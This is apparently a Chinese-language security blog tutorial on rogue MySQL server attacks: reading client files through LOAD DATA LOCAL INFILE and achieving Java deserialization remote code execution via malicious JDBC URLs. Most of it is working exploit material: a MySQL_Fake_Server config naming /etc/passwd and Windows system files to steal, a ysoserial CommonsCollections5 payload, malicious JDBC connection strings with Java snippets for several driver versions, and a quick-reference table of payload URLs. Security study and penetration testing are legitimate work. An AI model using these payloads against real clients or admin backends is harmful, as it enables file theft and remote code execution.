Fake Mysql Server 读取客户端数据

原理

攻击者搭建一个伪造的mysql服务器,当有用户去连接上这个伪造的服务器时,攻击者就可以任意读取受害者的文件内容,主要是因为LOAD DATA INFILE这个语法,作用是读取一个文件的内容并且放到一个表中。

这个问题主要是出在LOAD DATA INFILE这个语法上,这个语法主要是用于读取一个文件的内容并且放到一个表中。通常有两种用法,分别是:

load data infile "/data/data.csv" into table TestTable;
load data local infile "/home/data.csv" into table TestTable;

一个是读服务器本地上的文件,另一个是读client客户端的文件。

这次要利用的也就是LOAD DATA LOCAL INFILE这种形式

漏洞利用

FakeMySQL Server

客户端读取哪个文件其实并不是自己说了算的,是服务端说了算的,形象一点的说就是下面这个样子:

  • 客户端:hi~我将把我的data.csv文件给你插入到test表中!
  • 服务端:OK,读取你本地data.csv文件并发给我!
  • 客户端:这是文件内容:balabal!

正常情况下,这个流程不会有什么问题,但是如果我们制作了恶意的客户端,并且回复服务端任意一个我们想要获取的文件,那么情况就不一样了

  • 客户端:hi~我将把我的data.csv文件给你插入到test表中!
  • 服务端:OK,读取你本地的/etc/passwd文件并发给我!
  • 客户端:这是文件内容:balabal(/etc/passwd文件的内容)!

伪造的服务端可以在任何时候回复一个file-transfer请求,不一定非要是在LOAD DATA LOCAL的时候。这里有一点要说明的是,如果想要利用此特性,客户端必须具有CLIENT_LOCAL_FILES属性

修改filelist里的值即可

image-20240906152707067

python2 rogue_mysql_server.py

启动之后即可使用客户端去连接,连接之后则会将数据保存在mysql.log

image-20240906153001442

JDBC 连接恶意MySQL服务导致反序列化RCE

利用需要使用MySQL_Fake_Server,但是需要注意的是该代码是由协程编写,由于是用的比较旧的语法糖,需要在python3.8以下使用py3.8及以上则需要更换async/await 语法糖

在此基础上,修改config.json,其中yso可以不用填

这里我使用Jdk8u181+cc3.1.jar+cc5.ser来完成此次测试

{
    "config":{
        "ysoserialPath":"ysoserial-master-SNAPSHOT.jar", //ysoserial.jar包的路径,将其放置在项目根目录下即可
        "javaBinPath":"/Library/Java/JavaVirtualMachines/jdk1.8.0_181.jdk/Contents/Home/bin/java", // 执行ysoserial的Java路径,主要针对多版本Java环境,如果没有多版本,写java即可
        "fileOutputDir":"./fileOutput/",
        "displayFileContentOnScreen":true,
        "saveToFile":true
    },
    "fileread":{
        "win_ini":"c:\\windows\\win.ini",
        "win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts",
        "win":"c:\\windows\\",
        "linux_passwd":"/etc/passwd",
        "linux_hosts":"/etc/hosts",
        "index_php":"index.php",
        "ssrf":"https://www.baidu.com/",
        "__defaultFiles":["/etc/hosts","c:\\windows\\system32\\drivers\\etc\\hosts"]
    },
    "yso":{
        "Jdk8u181":["CommonsCollections5","open -a Calculator.app"] // key为用户名(可随意写),value分别为执行ysoserial的参数,如执行命令为java -jar ysoserial.jar value[0] value[1]
    }
}

8.0.12

针对8.0.12 payload需要使用ServerStatusDiffInterceptor触发

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=Jdk8u181
String Driver = "com.mysql.cj.jdbc.Driver";
String user = "Jdk8u181";
String password = "xxxx";
String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
Class.forName(Driver);//1.加载启动
Connection conn = (Connection) DriverManager.getConnection(url, user, password);

image-20240907114025561

5.1.29

针对5.1.29 payload使用ServerStatusDiffInterceptor触发

String driver = "com.mysql.jdbc.Driver";
String user = "Jdk8u181";
String password = "xxxx";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor";
Class.forName(driver);
Connection conn = (Connection) DriverManager.getConnection(DB_URL,user,password);

image-20240907114531854

使用detectCustomCollations触发

String driver = "com.mysql.jdbc.Driver";
String user = "Jdk8u181";
String password = "xxxx";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true";
Class.forName(driver);
Connection conn = (Connection) DriverManager.getConnection(DB_URL,user,password);

image-20240907114740743

5.1.28

针对5.1.28 payload使用ServerStatusDiffInterceptor触发

String driver = "com.mysql.jdbc.Driver";
String user = "Jdk8u181";
String password = "xxxx";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor";
Class.forName(driver);
Connection conn = (Connection) DriverManager.getConnection(DB_URL,user,password);

image-20240907115040234

针对5.1.28 payload使用detectCustomCollations触发

String driver = "com.mysql.jdbc.Driver";
String user = "abc";
String password = "xxxx";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true";
Class.forName(driver);
Connection conn = (Connection) DriverManager.getConnection(DB_URL,user,password);

image-20240906184659242

速通

ServerStatusDiffInterceptor触发

  • 8.x: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
  • 6.x(属性名不同): jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
  • 5.1.11及以上的5.x版本(包名没有了cj):jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
  • 5.1.10及以下的5.1.X版本: 同上,但是需要连接后执行查询。
  • 5.0.x: 还没有ServerStatusDiffInterceptor这个东西

detectCustomCollations触发

  • 5.1.41及以上: 不可用
  • 5.1.29-5.1.40: jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true
  • 5.1.28-5.1.19: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true
  • 5.1.18以下的5.1.x版本: 不可用
  • 5.0.x版本不可用

踩坑指南

  1. MySQL_Fake_Server缺省修改config.json之后需要及时重启服务,只有每次启动才能重新读取config.json

image-20240907115620728

  1. 如果不用缺省的config.json中的yso,需要针对user进行改变,而不是作者提供的yso_JRE8u20_calc,从代码中可以看到通过对username以_进行分割,username中需要携带yso_type(payload)yso_command(执行命令),应该是yso_CommonsCollections5_open -a Calculator.app,使用yso_开头的用户名需要针对config.jsonyso的字典删除

image-20240907115831011

image-20240907120249544

image-20240907120336127

分析

这里以8.0.12来分析

image-20240907141949183

触发queryInterceptors则需要触发SQL Query,而在getConnection过程中,会触发SET NAMES utfset autocommit=1一类的请求,所以会触发我们所配置的queryInterceptors

image-20240907143353226

image-20240907142053222

当Fake Server收到了SHOW SESSION STATUS的指令 则会向JDBC发送反序列化数据

image-20240907142115327

mappedValues保存从FakeServer中发送来的数据,只要保证第1或第2字段为BLOB且存存储了我们的序列化数据,即可触发

image-20240907142203649

当MySQL字段类型为BLOB时,会对数据进行反序列化,确定字段为BLOB类型除了协议报文中列字段类型为BLOB以外,还需要FLAGS大于128、来源表不为空,否则会被当做Text

image-20240907142611120

image-20240907142846224

用途

  1. FakeMysqlServer可以用作蜜罐获取客户端数据
  2. 在渗透测试中,如果有管理后端可以配置mysql连接,可以尝试将服务端任意文件读取出来
  3. 在Java的管理后台中,配置JDBC连接数据库URL可控且存在相应的CC组建,即可直接RCE

参考链接

https://lightless.me/archives/read-mysql-client-file.html

https://github.com/fnmsd/MySQL_Fake_Server

https://www.anquanke.com/post/id/203086

https://xz.aliyun.com/t/10599

Copyright © aaron 2023 all right reserved,powered by Gitbook该文章修订时间: 2024-09-07 14:46:13

results matching ""

    No results matching ""